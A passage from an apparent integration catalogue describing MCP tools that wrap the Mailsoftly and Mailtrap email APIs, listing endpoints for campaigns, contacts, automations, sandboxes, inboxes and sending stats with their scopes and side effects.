send that did not happen. Sends an existing email draft. The draft must be in a ready state, which `GET /email_status` reports. Important: This endpoint only works with draft IDs created via `POST /create_emails`. There is currently no endpoint for sending a one-off transactional email directly (without first creating a draft). This is a known product gap. The send is asynchronous. The email is queued for delivery and processed in the background. When `422 EmailDraft is not ready for sending yet` comes back, the background job that populates recipients/attachments has not finished. POST /api/v1/mailsoftly/api/v3/send_email. Scopes: campaigns:send. mailsoftly_post_api_v3_send_sms_campaign (write) — Submit an SMS campaign for sending. POST /api/v3/send_sms_campaign. NOTE: Mailsoftly answers a success status here even when it did NOT carry the request out, naming the state in a `gate` object; Agentic Fabriq raises that as an error with the reason rather than reporting a send that did not happen. Checks SMS credits and submits the campaign for the review every SMS campaign passes before it goes out. Insufficient credits return a gate with the purchase path. POST /api/v1/mailsoftly/api/v3/send_sms_campaign. Scopes: campaigns:send. mailsoftly_post_api_v3_send_test_email (write) — Send a test copy of a campaign. POST /api/v3/send_test_email. NOTE: Mailsoftly answers a success status here even when it did NOT carry the request out, naming the state in a `gate` object; Agentic Fabriq raises that as an error with the reason rather than reporting a send that did not happen. Sends the campaign to 1 to 5 addresses as a test, exactly as the campaign page does: nothing is recorded against the campaign statistics and no contact list is touched. An optional note is shown as a banner above the body so reviewers know what to look at. The first test sends from a new account go into a short human review instead of going out; the response then carries in_review with a gate object explaining that. POST /api/v1/mailsoftly/api/v3/send_test_email. Scopes: campaigns:send. mailsoftly_post_api_v3_start_ab_test (write) — Start an A/B subject test. POST /api/v3/start_ab_test. NOTE: Mailsoftly answers a success status here even when it did NOT carry the request out, naming the state in a `gate` object; Agentic Fabriq raises that as an error with the reason rather than reporting a send that did not happen. Starts an A/B subject-line test on a draft. A test slice of the audience (`test_percentage`: 10, 20 or 30) is split between subject A and subject B; after `wait_hours` (2, 4 or 24) the subject with more opens goes to everyone else. Requirements: a paid plan (otherwise a `gate` with `level: "plan"`), at least 20 deliverable recipients, and the same sending checks as `POST /send_email`. An account in send review parks the test until approval and says so in `gate`. POST /api/v1/mailsoftly/api/v3/start_ab_test. Scopes: campaigns:send. mailsoftly_post_api_v3_trash_campaign (write) — Move a campaign to the trash. POST /api/v3/trash_campaign. Reversible: the campaign leaves the list and can be restored with restore_campaign. Refused while it is sending. POST /api/v1/mailsoftly/api/v3/trash_campaign. Scopes: campaigns:draft. mailsoftly_post_api_v3_trash_landing_page (write) — Move a landing page to the trash. POST /api/v3/trash_landing_page. Unpublishes the page and moves it to the trash (reversible in the app). POST /api/v1/mailsoftly/api/v3/trash_landing_page. Scopes: campaigns:draft. mailsoftly_post_api_v3_trigger_automation (write) — Trigger an automation for a contact. POST /api/v3/trigger_automation. Triggers an automation for a specific contact, starting the drip sequence. POST /api/v1/mailsoftly/api/v3/trigger_automation. Scopes: campaigns:send. mailsoftly_post_api_v3_unschedule_email (write) — Cancel a scheduled send. POST /api/v3/unschedule_email. Cancels the scheduled send of a campaign; the draft stays and can be sent or rescheduled later. POST /api/v1/mailsoftly/api/v3/unschedule_email. Scopes: campaigns:draft. mailsoftly_post_api_v3_update_automation (write) — Update an automation. POST /api/v3/update_automation. Edits an automation that is not active: `name`, `trigger`, `extra_triggers`, `entry_filter` or `steps`. Uses exactly the vocabulary of `POST /create_automation` (trigger table, step kinds, branching). `steps` replaces the whole step tree, so it carries the full list. An active automation is refused until `POST /update_automation_status` deactivates it. POST /api/v1/mailsoftly/api/v3/update_automation. Scopes: campaigns:draft. mailsoftly_post_api_v3_update_automation_status (write) — Activate or deactivate an automation. POST /api/v3/update_automation_status. Set status to active or inactive. Activating starts real sends, so it needs a verified account (gate level account otherwise) and every step and trigger field complete (422 lists what is missing). Deactivating has no such requirement. POST /api/v1/mailsoftly/api/v3/update_automation_status. Scopes: campaigns:send. mailsoftly_post_api_v3_update_brand_kit (write) — Update the brand kit. POST /api/v3/update_brand_kit. Sets brand fields by hand: logo_url, primary_color, secondary_color, accent_color, palette, site_title, site_description and social_links. Colors are six digit hex values such as #1A73E8 and URLs must be http or https; anything else answers 422 and nothing is written. The kit is created when the account has none, and every field set here is remembered as hand edited so a later refresh from the website leaves it alone. The answer is the same shape get_brand_kit returns. POST /api/v1/mailsoftly/api/v3/update_brand_kit. Scopes: campaigns:draft. mailsoftly_post_api_v3_update_campaign_sharing (write) — Change how a campaign is shared on the web. POST /api/v3/update_campaign_sharing. Controls the public side of a campaign: whether it has a web page at all (web_version on, off, or default to follow the account setting), whether it is listed in the account's public archive, and whether its public link is retired and replaced. Works on sent campaigns too, which is the main reason to use it: taking a delivered campaign off the web. Returns the same sharing object get_campaign reports. POST /api/v1/mailsoftly/api/v3/update_campaign_sharing. Scopes: campaigns:draft. mailsoftly_post_api_v3_update_contact (write) — Update an existing contact. POST /api/v3/update_contact. Updates an existing contact's fields. Only the fields present in the request body are updated. All other fields remain unchanged. POST /api/v1/mailsoftly/api/v3/update_contact. Scopes: contacts:write. mailsoftly_post_api_v3_update_contact_list (write) — Rename a contact list. POST /api/v3/update_contact_list. Changes a contact list's name. Memberships, automations and campaigns that use the list are unaffected. POST /api/v1/mailsoftly/api/v3/update_contact_list. Scopes: contacts:write. mailsoftly_post_api_v3_update_contact_subscriptions (write) — Change what one contact is subscribed to. POST /api/v3/update_contact_subscriptions. Subscribes or unsubscribes one contact from email types, by id. Unsubscribing records a consent change the account made on the contact's behalf. Subscribing only lifts opt-outs the account itself made: an opt-out the recipient chose stays in place and is reported back with a note. Returns the full subscription state plus a per type list of what changed. POST /api/v1/mailsoftly/api/v3/update_contact_subscriptions. Scopes: suppressions:write. mailsoftly_post_api_v3_update_custom_block (write) — Update a content block. POST /api/v3/update_custom_block. Changes the name, the HTML or the sharing of a saved block. Takes custom_block_id plus only the fields that change; anything left out keeps its current value. A block from another account answers 404. POST /api/v1/mailsoftly/api/v3/update_custom_block. Scopes: campaigns:draft. mailsoftly_post_api_v3_update_email (write) — Update a campaign draft. POST /api/v3/update_email. Edit an unsent draft in place: subject, body, name, reply_to, contact_list_id, or restart it from a saved template. Body rules are the same as create_emails (body_format `content` or `html`). Sent campaigns cannot be edited. The from address is editable the same way create_emails sets it: exactly one of `sender_id` or `email_sender_id`, both taken from `GET /list_senders`. That is the way off a mailbox this credential cannot send from, and off a domain that has not finished DNS authentication. POST /api/v1/mailsoftly/api/v3/update_email. Scopes: campaigns:draft. mailsoftly_post_api_v3_update_email_template (write) — Update an email template. POST /api/v3/update_email_template. Changes a template's name, subject or html. POST /api/v1/mailsoftly/api/v3/update_email_template. Scopes: campaigns:draft. mailsoftly_post_api_v3_update_form (write) — Update a form. POST /api/v3/update_form. Changes a form's name, fields or linked list. POST /api/v1/mailsoftly/api/v3/update_form. Scopes: contacts:write. mailsoftly_post_api_v3_update_landing_page (write) — Update a landing page. POST /api/v3/update_landing_page. Changes a page's name, html, meta title, meta description or linked list. POST /api/v1/mailsoftly/api/v3/update_landing_page. Scopes: campaigns:draft. mailsoftly_post_api_v3_update_segment (write) — Update a segment. POST /api/v3/update_segment. Changes a custom segment's name, description or conditions (conditions replaces the whole rule set). System segments cannot be edited. POST /api/v1/mailsoftly/api/v3/update_segment. Scopes: contacts:write. mailsoftly_post_api_v3_update_signature (write) — Update an email signature. POST /api/v3/update_signature. Changes a signature's name, html or active flag. POST /api/v1/mailsoftly/api/v3/update_signature. Scopes: campaigns:draft. mailsoftly_post_api_v3_update_sms_campaign (write) — Update an SMS campaign. POST /api/v3/update_sms_campaign. Changes a draft SMS campaign's name, message or list. POST /api/v1/mailsoftly/api/v3/update_sms_campaign. Scopes: campaigns:draft. mailsoftly_post_api_v3_update_tag (write) — Rename or recolor a tag. POST /api/v3/update_tag. Changes a tag's name or color; every contact carrying it follows. POST /api/v1/mailsoftly/api/v3/update_tag. Scopes: contacts:write. mailsoftly_post_api_v3_update_team_member_role (write) — Change a teammate's role. POST /api/v3/update_team_member_role. Changes the role of somebody who already belongs to this workspace. Takes user_id (from get_team_members) and the new role, which has to be one this account may assign. The workspace owner cannot be re-roled here, because that seat only moves through the ownership transfer in the app, and nobody may change their own role. Returns the teammate with their new role. POST /api/v1/mailsoftly/api/v3/update_team_member_role. Scopes: account:write. mailsoftly_post_api_v3_upload_file (write) — Upload a file to the gallery. POST /api/v3/upload_file. Uploads one file to the File Gallery from base64 content and returns its public link, so a campaign can point at it. Send filename, content_base64 and content_type; the extension and the content type must both be on the accepted list, and the decoded size must stay under 25 MB. Because the bytes travel inside the request, this suits small files such as a price list or a one page PDF rather than long video. POST /api/v1/mailsoftly/api/v3/upload_file. Scopes: campaigns:draft. mailsoftly_post_api_v3_upload_image (write) — Upload an image. POST /api/v3/upload_image. Adds a PNG, JPG or GIF to the account image library from base64 content and returns a public URL ready to use as an image src. PNG and JPG are resized and recompressed for email before they are stored, so a large export is welcome up to 10 MB; a GIF is stored as sent and must stay under 2 MB. Because the bytes travel inside the request, this suits small images rather than very large ones. POST /api/v1/mailsoftly/api/v3/upload_image. Scopes: campaigns:draft. mailsoftly_post_api_v3_verify_domain (write) — Check a domain's DNS records. POST /api/v3/verify_domain. Asks Mailsoftly to check the DNS records of a domain. Verification can take time after DNS changes; list_domains shows the result later. POST /api/v1/mailsoftly/api/v3/verify_domain. Scopes: campaigns:draft. ================================================================================ ## Mailtrap URL: https://www.agenticfabriq.com/integrations/mailtrap Section: Integrated Tools Mailtrap — 130 MCP tools Provider key: mailtrap. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. mailtrap_bulk_post_api_batch (write) — Batch send emails. POST https://bulk.api.mailtrap.io/api/batch. DELIVERS REAL EMAIL. Send up to 500 marketing emails in a single API call. Each email can have unique recipients and content while sharing base properties. Limits: Maximum 500 messages per call Maximum 50 MB total payload size (including attachments) Note: The endpoint returns HTTP 200 even if individual messages fail. Check the responses array for individual message status. POST /api/v1/mailtrap/bulk/api/batch. Scopes: api. mailtrap_bulk_post_api_send (write) — Send bulk email. POST https://bulk.api.mailtrap.io/api/send. DELIVERS REAL EMAIL. Send marketing emails and newsletters through the bulk stream optimized for high-volume sending. Use cases: Marketing campaigns Newsletters Announcements Promotional emails POST /api/v1/mailtrap/bulk/api/send. Scopes: api. mailtrap_delete_api_account_accesses_by_account_access_id (write, destructive) — Remove account access. DELETE https://mailtrap.io/api/account_accesses/{account_access_id}. If specifier type is User, it removes user permissions. If specifier type is Invite or ApiToken, it removes specifier along with permissions. You have to be an account admin/owner for this endpoint to work. DELETE /api/v1/mailtrap/general/api/account_accesses/{account_access_id}. Scopes: api. mailtrap_delete_api_api_tokens_by_id (write, destructive) — Delete API token. DELETE https://mailtrap.io/api/api_tokens/{id}. Permanently deletes an API token. DELETE /api/v1/mailtrap/general/api/api_tokens/{id}. Scopes: api. mailtrap_delete_api_contacts_by_contact_identifier (write, destructive) — Delete contact. DELETE https://mailtrap.io/api/contacts/{contact_identifier}. Delete contact using UUID or email (URL encoded) DELETE /api/v1/mailtrap/general/api/contacts/{contact_identifier}. Scopes: api. mailtrap_delete_api_contacts_fields_by_field_id (write, destructive) — Delete Contact Field. DELETE https://mailtrap.io/api/contacts/fields/{field_id}. Delete existing Contact Field Please, note, you cannot delete a Contact Field which is used in Automations, Email Campaigns (started or scheduled), and in conditions of Contact Segments (you'll see the corresponding error) DELETE /api/v1/mailtrap/general/api/contacts/fields/{field_id}. Scopes: api. mailtrap_delete_api_contacts_lists_by_list_id (write, destructive) — Delete Contact List. DELETE https://mailtrap.io/api/contacts/lists/{list_id}. Delete existing Contact List DELETE /api/v1/mailtrap/general/api/contacts/lists/{list_id}. Scopes: api. mailtrap_delete_api_domains_by_domain_id (write, destructive) — Delete domain. DELETE https://mailtrap.io/api/domains/{domain_id}. Remove a domain from your account DELETE /api/v1/mailtrap/general/api/domains/{domain_id}. Scopes: api. mailtrap_delete_api_email_campaigns_by_email_campaign_id (write, destructive) — Delete an email campaign. DELETE https://mailtrap.io/api/email_campaigns/{email_campaign_id}. Soft-deletes an email campaign. Returns 204 No Content on success. Only draft campaigns can be deleted — deleting a campaign that is already scheduled/sending returns 422. A campaign that has been started never returns to draft, so it can no longer be deleted. A scheduled campaign can be returned to draft first via the cancel or reset action endpoints. DELETE /api/v1/mailtrap/general/api/email_campaigns/{email_campaign_id}. Scopes: api. mailtrap_delete_api_email_templates_by_email_template_id (write, destructive) — Delete Email Template. DELETE https://mailtrap.io/api/email_templates/{email_template_id}. Delete an email template DELETE /api/v1/mailtrap/general/api/email_templates/{email_template_id}. Scopes: api. mailtrap_delete_api_inbound_folders_by_folder_id (write, destructive) — Delete a folder. DELETE https://mailtrap.io/api/inbound/folders/{folder_id}. Permanently delete an inbound folder along with all of its inboxes. DELETE /api/v1/mailtrap/general/api/inbound/folders/{folder_id}. Scopes: api. mailtrap_delete_api_inbound_folders_by_folder_id_inboxes_by_inbox_id (write, destructive) — Delete an inbox. DELETE https://mailtrap.io/api/inbound/folders/{folder_id}/inboxes/{inbox_id}. Permanently delete an inbox and all its received messages. DELETE /api/v1/mailtrap/general/api/inbound/folders/{folder_id}/inboxes/{inbox_id}. Scopes: api. mailtrap_delete_api_inbound_inboxes_by_inbox_id_messages_by_id (write, destructive) — Delete a message. DELETE https://mailtrap.io/api/inbound/inboxes/{inbox_id}/messages/{id}. Permanently delete an inbound message and its stored body and attachments. DELETE /api/v1/mailtrap/general/api/inbound/inboxes/{inbox_id}/messages/{id}. Scopes: api. mailtrap_delete_api_inbound_inboxes_by_inbox_id_threads_by_id (write, destructive) — Delete a thread. DELETE https://mailtrap.io/api/inbound/inboxes/{inbox_id}/threads/{id}. Delete a thread. Inbound messages in the thread are removed; sent messages are preserved. DELETE /api/v1/mailtrap/general/api/inbound/inboxes/{inbox_id}/threads/{id}. Scopes: api. mailtrap_delete_api_projects_by_project_id (write, destructive) — Delete project. DELETE https://mailtrap.io/api/projects/{project_id}. Delete project and its sandboxes. DELETE /api/v1/mailtrap/general/api/projects/{project_id}. Scopes: api. mailtrap_delete_api_sandboxes_by_sandbox_id (write, destructive) — Delete a sandbox. DELETE https://mailtrap.io/api/sandboxes/{sandbox_id}. Delete a sandbox with all its emails. DELETE /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}. Scopes: api. mailtrap_delete_api_sandboxes_by_sandbox_id_messages_by_message_id (write, destructive) — Delete message. DELETE https://mailtrap.io/api/sandboxes/{sandbox_id}/messages/{message_id}. Delete message from sandbox. DELETE /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/messages/{message_id}. Scopes: api. mailtrap_delete_api_suppressions_by_suppression_id (write, destructive) — Delete suppression. DELETE https://mailtrap.io/api/suppressions/{suppression_id}. Remove an email from the suppression list to allow sending again. This endpoint requires admin-level access. DELETE /api/v1/mailtrap/general/api/suppressions/{suppression_id}. Scopes: api. mailtrap_delete_api_tracking_opt_outs_by_tracking_opt_out_id (write, destructive) — Delete tracking opt-out. DELETE https://mailtrap.io/api/tracking_opt_outs/{tracking_opt_out_id}. Remove an email address from the tracking opt-out list so open and click tracking can apply again. This endpoint requires admin-level access. DELETE /api/v1/mailtrap/general/api/tracking_opt_outs/{tracking_opt_out_id}. Scopes: api. mailtrap_delete_api_webhooks_by_webhook_id (write, destructive) — Delete a webhook. DELETE https://mailtrap.io/api/webhooks/{webhook_id}. Permanently delete a webhook. DELETE /api/v1/mailtrap/general/api/webhooks/{webhook_id}. Scopes: api. mailtrap_get_api_account_accesses (read) — List User & Invite account accesses. GET https://mailtrap.io/api/account_accesses. Get list of account accesses for which specifier_type is User or Invite. You have to have account admin/owner permissions for this endpoint to work. If you specify project_ids, sandbox_ids or domain_ids, the endpoint will return account accesses for these resources. GET /api/v1/mailtrap/general/api/account_accesses. Scopes: api. mailtrap_get_api_accounts (read) — List account(s) you have access to. GET https://mailtrap.io/api/accounts. This endpoint returns account details for the authenticated user. If you are using Organizations and Sub-Accounts and the API token was created at the organization level, the response will include all accounts within the organization. GET /api/v1/mailtrap/general/api/accounts. Scopes: api. mailtrap_get_api_api_tokens (read) — List API tokens. GET https://mailtrap.io/api/api_tokens. Returns all API tokens visible to the current API token. GET /api/v1/mailtrap/general/api/api_tokens. Scopes: api. mailtrap_get_api_api_tokens_by_id (read) — Get API token. GET https://mailtrap.io/api/api_tokens/{id}. Returns a single API token by id. GET /api/v1/mailtrap/general/api/api_tokens/{id}. Scopes: api. mailtrap_get_api_billing_usage (read) — Get current billing cycle usage. GET https://mailtrap.io/api/billing/usage. Get current billing cycle usage for Email Sandbox, Email Sending (Email API/SMTP), and Email Marketing. GET /api/v1/mailtrap/general/api/billing/usage. Scopes: api. mailtrap_get_api_contacts (read) — Get a list of contacts. GET https://mailtrap.io/api/contacts. Returns a paginated list of the account's contacts. Pagination is cursor based. Every response carries a pagination object; pass its next_token value back as the token query parameter to fetch the next page, and stop when next_token is null. Cursors cannot be walked backwards, so prev_token and prev_url are always null. No total count is returned. Filter values are validated rather than ignored. An unknown status, a non-integer list_id, a repeated filter parameter, or a malformed token is rejected with 422, so a mistyped filter can never widen the result set. GET /api/v1/mailtrap/general/api/contacts. Scopes: api. mailtrap_get_api_contacts_by_contact_identifier (read) — Get contact. GET https://mailtrap.io/api/contacts/{contact_identifier}. Get contact using UUID or email (URL encoded) GET /api/v1/mailtrap/general/api/contacts/{contact_identifier}. Scopes: api. mailtrap_get_api_contacts_exports_by_export_id (read) — Get Contact Export. GET https://mailtrap.io/api/contacts/exports/{export_id}. Get Contact Export GET /api/v1/mailtrap/general/api/contacts/exports/{export_id}. Scopes: api. mailtrap_get_api_contacts_fields (read) — Get all Contact Fields. GET https://mailtrap.io/api/contacts/fields. Get all Contact Fields existing in your account GET /api/v1/mailtrap/general/api/contacts/fields. Scopes: api. mailtrap_get_api_contacts_fields_by_field_id (read) — Get Contact Field. GET https://mailtrap.io/api/contacts/fields/{field_id}. Get a contact Field by ID GET /api/v1/mailtrap/general/api/contacts/fields/{field_id}. Scopes: api. mailtrap_get_api_contacts_imports_by_import_id (read) — Get Contact Import. GET https://mailtrap.io/api/contacts/imports/{import_id}. Get Contact Import GET /api/v1/mailtrap/general/api/contacts/imports/{import_id}. Scopes: api. mailtrap_get_api_contacts_lists (read) — Get all Contact Lists. GET https://mailtrap.io/api/contacts/lists. Get all contact lists existing in your account GET /api/v1/mailtrap/general/api/contacts/lists. Scopes: api. mailtrap_get_api_contacts_lists_by_list_id (read) — Get Contact List. GET https://mailtrap.io/api/contacts/lists/{list_id}. Get a contact list by ID GET /api/v1/mailtrap/general/api/contacts/lists/{list_id}. Scopes: api. mailtrap_get_api_domains (read) — List domains. GET https://mailtrap.io/api/domains. Get all domains and their verification status GET /api/v1/mailtrap/general/api/domains. Scopes: api. mailtrap_get_api_domains_by_domain_id (read) — Get domain. GET https://mailtrap.io/api/domains/{domain_id}. Get details and verification status of a specific domain GET /api/v1/mailtrap/general/api/domains/{domain_id}. Scopes: api. mailtrap_get_api_domains_by_domain_id_company_info (read) — Get company info. GET https://mailtrap.io/api/domains/{domain_id}/company_info. Get company information associated with a domain / account. GET /api/v1/mailtrap/general/api/domains/{domain_id}/company_info. Scopes: api. mailtrap_get_api_email_campaigns (read) — Get a list of email campaigns. GET https://mailtrap.io/api/email_campaigns. Returns a paginated list of the account's email campaigns, newest first. Pagination is page-token based. Use the token query parameter together with the token, next_token, and prev_token values returned in the pagination object to navigate between pages. GET /api/v1/mailtrap/general/api/email_campaigns. Scopes: api. mailtrap_get_api_email_campaigns_by_email_campaign_id (read) — Get an email campaign by ID. GET https://mailtrap.io/api/email_campaigns/{email_campaign_id}. Returns a single email campaign. GET /api/v1/mailtrap/general/api/email_campaigns/{email_campaign_id}. Scopes: api. mailtrap_get_api_email_campaigns_by_email_campaign_id_stats (read) — Get email campaign statistics. GET https://mailtrap.io/api/email_campaigns/{email_campaign_id}/stats. Returns aggregated performance metrics for a single campaign: counts and rates for deliveries, opens, clicks, bounces, spam complaints, and unsubscriptions. If the campaign has never been started, all counts and rates are returned as 0. Statistics are aggregated asynchronously and may be slightly delayed for recently sent campaigns. By default, statistics are aggregated over the whole period since the campaign was last started. Use the optional start_date and end_date query parameters to narrow the aggregation window. GET /api/v1/mailtrap/general/api/email_campaigns/{email_campaign_id}/stats. Scopes: api. mailtrap_get_api_email_logs (read) — List email logs. GET https://mailtrap.io/api/email_logs. Returns a paginated list of email logs (messages) for the account. Results are restricted to domains the authenticated token has access to. Invalid or unknown filters are ignored. Results are ordered by sent_at descending. GET /api/v1/mailtrap/general/api/email_logs. Scopes: api. mailtrap_get_api_email_logs_by_sending_message_id (read) — Get an email log message by ID. GET https://mailtrap.io/api/email_logs/{sending_message_id}. Returns a single message by message UUID. Message must belong to the account and a domain the token can access. GET /api/v1/mailtrap/general/api/email_logs/{sending_message_id}. Scopes: api. mailtrap_get_api_email_templates (read) — Get all Email Templates. GET https://mailtrap.io/api/email_templates. Get all email templates existing in your account GET /api/v1/mailtrap/general/api/email_templates. Scopes: api. mailtrap_get_api_email_templates_by_email_template_id (read) — Get Email Template. GET https://mailtrap.io/api/email_templates/{email_template_id}. Get an email template by ID GET /api/v1/mailtrap/general/api/email_templates/{email_template_id}. Scopes: api. mailtrap_get_api_inbound_folders (read) — List folders. GET https://mailtrap.io/api/inbound/folders. Returns all inbound folders in the account. GET /api/v1/mailtrap/general/api/inbound/folders. Scopes: api. mailtrap_get_api_inbound_folders_by_folder_id (read) — Get a folder. GET https://mailtrap.io/api/inbound/folders/{folder_id}. Returns a single inbound folder. GET /api/v1/mailtrap/general/api/inbound/folders/{folder_id}. Scopes: api. mailtrap_get_api_inbound_folders_by_folder_id_inboxes (read) — List inboxes. GET https://mailtrap.io/api/inbound/folders/{folder_id}/inboxes. Returns all inboxes in a folder. GET /api/v1/mailtrap/general/api/inbound/folders/{folder_id}/inboxes. Scopes: api. mailtrap_get_api_inbound_folders_by_folder_id_inboxes_by_inbox_id (read) — Get an inbox. GET https://mailtrap.io/api/inbound/folders/{folder_id}/inboxes/{inbox_id}. Returns a single inbox. GET /api/v1/mailtrap/general/api/inbound/folders/{folder_id}/inboxes/{inbox_id}. Scopes: api. mailtrap_get_api_inbound_inboxes_by_inbox_id_messages (read) — List messages. GET https://mailtrap.io/api/inbound/inboxes/{inbox_id}/messages. Returns inbound messages received by the inbox, ordered by received_at descending. List responses use cursor pagination. When more results are available the response includes a last_id; pass it back as the last_id query parameter to get the next page. When last_id is null you have reached the end. GET /api/v1/mailtrap/general/api/inbound/inboxes/{inbox_id}/messages. Scopes: api. mailtrap_get_api_inbound_inboxes_by_inbox_id_messages_by_id (read) — Get a message. GET https://mailtrap.io/api/inbound/inboxes/{inbox_id}/messages/{id}. Returns a single inbound message together with URLs for the raw.eml file and for each attachment, plus the decoded HTML and plain-text bodies. URLs expire after one hour. GET /api/v1/mailtrap/general/api/inbound/inboxes/{inbox_id}/messages/{id}. Scopes: api. mailtrap_get_api_inbound_inboxes_by_inbox_id_threads (read) — List threads. GET https://mailtrap.io/api/inbound/inboxes/{inbox_id}/threads. Returns the inbox's conversation threads, ordered by most recent activity first. Only threads and messages within your plan's retention window are included; the per-thread aggregates (message count, size, senders, recipients, attachments) are computed over those accessible messages. Results use cursor pagination. When more results are available the response includes a last_id; pass it back as the last_id query parameter to get the next page. When last_id is null you have reached the end. GET /api/v1/mailtrap/general/api/inbound/inboxes/{inbox_id}/threads. Scopes: api. mailtrap_get_api_inbound_inboxes_by_inbox_id_threads_by_id (read) — Get a thread. GET https://mailtrap.io/api/inbound/inboxes/{inbox_id}/threads/{id}. Returns a single thread with its messages embedded, ordered oldest first. Each message carries a visibility_status: available — the message is within your plan's retention window. The full envelope, subject, RFC headers, decoded bodies, and attachment download URLs are included; sent messages also carry their delivery lifecycle (delivery_status, delivered_at, bounced_at). placeholder — the message is outside the retention window. Only visibility_status and direction are returned; every other field is omitted and no attachment download URLs are issued. GET /api/v1/mailtrap/general/api/inbound/inboxes/{inbox_id}/threads/{id}. Scopes: api. mailtrap_get_api_organizations_by_organization_id_sub_accounts (read) — Get organization sub accounts. GET https://mailtrap.io/api/organizations/{organization_id}/sub_accounts. Get a list of sub accounts for the specified organization. You must have sub account management permissions for this organization. GET /api/v1/mailtrap/general/api/organizations/{organization_id}/sub_accounts. Scopes: api. mailtrap_get_api_permissions_resources (read) — Get resources. GET https://mailtrap.io/api/permissions/resources. Get all resources in your account (Sandboxes, Projects, Domains, Email Campaigns, Billing and Account itself) to which the token has admin access. GET /api/v1/mailtrap/general/api/permissions/resources. Scopes: api. mailtrap_get_api_projects (read) — Get a list of projects. GET https://mailtrap.io/api/projects. List projects and their sandboxes to which the API token has access. GET /api/v1/mailtrap/general/api/projects. Scopes: api. mailtrap_get_api_projects_by_project_id (read) — Get project by ID. GET https://mailtrap.io/api/projects/{project_id}. Get the project and its sandboxes. GET /api/v1/mailtrap/general/api/projects/{project_id}. Scopes: api. mailtrap_get_api_sandboxes (read) — Get a list of sandboxes. GET https://mailtrap.io/api/sandboxes. Get a list of sandboxes. GET /api/v1/mailtrap/general/api/sandboxes. Scopes: api. mailtrap_get_api_sandboxes_by_sandbox_id (read) — Get sandbox attributes. GET https://mailtrap.io/api/sandboxes/{sandbox_id}. Get sandbox attributes by sandbox id. See the list of attributes in the example GET /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}. Scopes: api. mailtrap_get_api_sandboxes_by_sandbox_id_messages (read) — Get messages. GET https://mailtrap.io/api/sandboxes/{sandbox_id}/messages. Get all messages in the sandbox. The response contains up to 30 messages. Use last_id or page to retrieve more. GET /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/messages. Scopes: api. mailtrap_get_api_sandboxes_by_sandbox_id_messages_by_message_id (read) — Show email message. GET https://mailtrap.io/api/sandboxes/{sandbox_id}/messages/{message_id}. Get email message by ID. GET /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/messages/{message_id}. Scopes: api. mailtrap_get_api_sandboxes_by_sandbox_id_messages_by_message_id_analyze (read) — Get message HTML analysis. GET https://mailtrap.io/api/sandboxes/{sandbox_id}/messages/{message_id}/analyze. Get a brief HTML report by message ID. GET /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/messages/{message_id}/analyze. Scopes: api. mailtrap_get_api_sandboxes_by_sandbox_id_messages_by_message_id_attachments (read) — Get attachments. GET https://mailtrap.io/api/sandboxes/{sandbox_id}/messages/{message_id}/attachments. Get message attachments by sandbox_id and message_id. GET /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/messages/{message_id}/attachments. Scopes: api. mailtrap_get_api_sandboxes_by_sandbox_id_messages_by_message_id_attachments_by_attachment_id (read) — Get single attachment. GET https://mailtrap.io/api/sandboxes/{sandbox_id}/messages/{message_id}/attachments/{attachment_id}. Get message single attachment by id. GET /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/messages/{message_id}/attachments/{attachment_id}. Scopes: api. mailtrap_get_api_sandboxes_by_sandbox_id_messages_by_message_id_body_html (read) — Get HTML message. GET https://mailtrap.io/api/sandboxes/{sandbox_id}/messages/{message_id}/body.html. Get formatted HTML email body. Not applicable for plain text emails. GET /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/messages/{message_id}/body.html. Scopes: api. mailtrap_get_api_sandboxes_by_sandbox_id_messages_by_message_id_body_htmlsource (read) — Get message source. GET https://mailtrap.io/api/sandboxes/{sandbox_id}/messages/{message_id}/body.htmlsource. Get HTML source of email. GET /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/messages/{message_id}/body.htmlsource. Scopes: api. mailtrap_get_api_sandboxes_by_sandbox_id_messages_by_message_id_body_raw (read) — Get raw message. GET https://mailtrap.io/api/sandboxes/{sandbox_id}/messages/{message_id}/body.raw. Get raw email body. GET /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/messages/{message_id}/body.raw. Scopes: api. mailtrap_get_api_sandboxes_by_sandbox_id_messages_by_message_id_body_txt (read) — Get text message. GET https://mailtrap.io/api/sandboxes/{sandbox_id}/messages/{message_id}/body.txt. Get text email body, if it exists. GET /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/messages/{message_id}/body.txt. Scopes: api. mailtrap_get_api_sandboxes_by_sandbox_id_messages_by_message_id_mail_headers (read) — Get mail headers. GET https://mailtrap.io/api/sandboxes/{sandbox_id}/messages/{message_id}/mail_headers. Get mail headers of a message GET /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/messages/{message_id}/mail_headers. Scopes: api. mailtrap_get_api_sandboxes_by_sandbox_id_messages_by_message_id_spam_report (read) — Get message spam score. GET https://mailtrap.io/api/sandboxes/{sandbox_id}/messages/{message_id}/spam_report. Get a brief spam report by message ID. GET /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/messages/{message_id}/spam_report. Scopes: api. mailtrap_get_api_stats (read) — Get Sending Stats. GET https://mailtrap.io/api/stats. Get account sending stats. Use filters to get specific stats. GET /api/v1/mailtrap/general/api/stats. Scopes: api. mailtrap_get_api_stats_categories (read) — Get Sending Stats by Categories. GET https://mailtrap.io/api/stats/categories. Get account sending stats by categories. Use filters to get specific stats. GET /api/v1/mailtrap/general/api/stats/categories. Scopes: api. mailtrap_get_api_stats_date (read) — Get Sending Stats by Date. GET https://mailtrap.io/api/stats/date. Get account sending stats by date. Use filters to get specific stats. GET /api/v1/mailtrap/general/api/stats/date. Scopes: api. mailtrap_get_api_stats_domains (read) — Get Sending Stats by Domains. GET 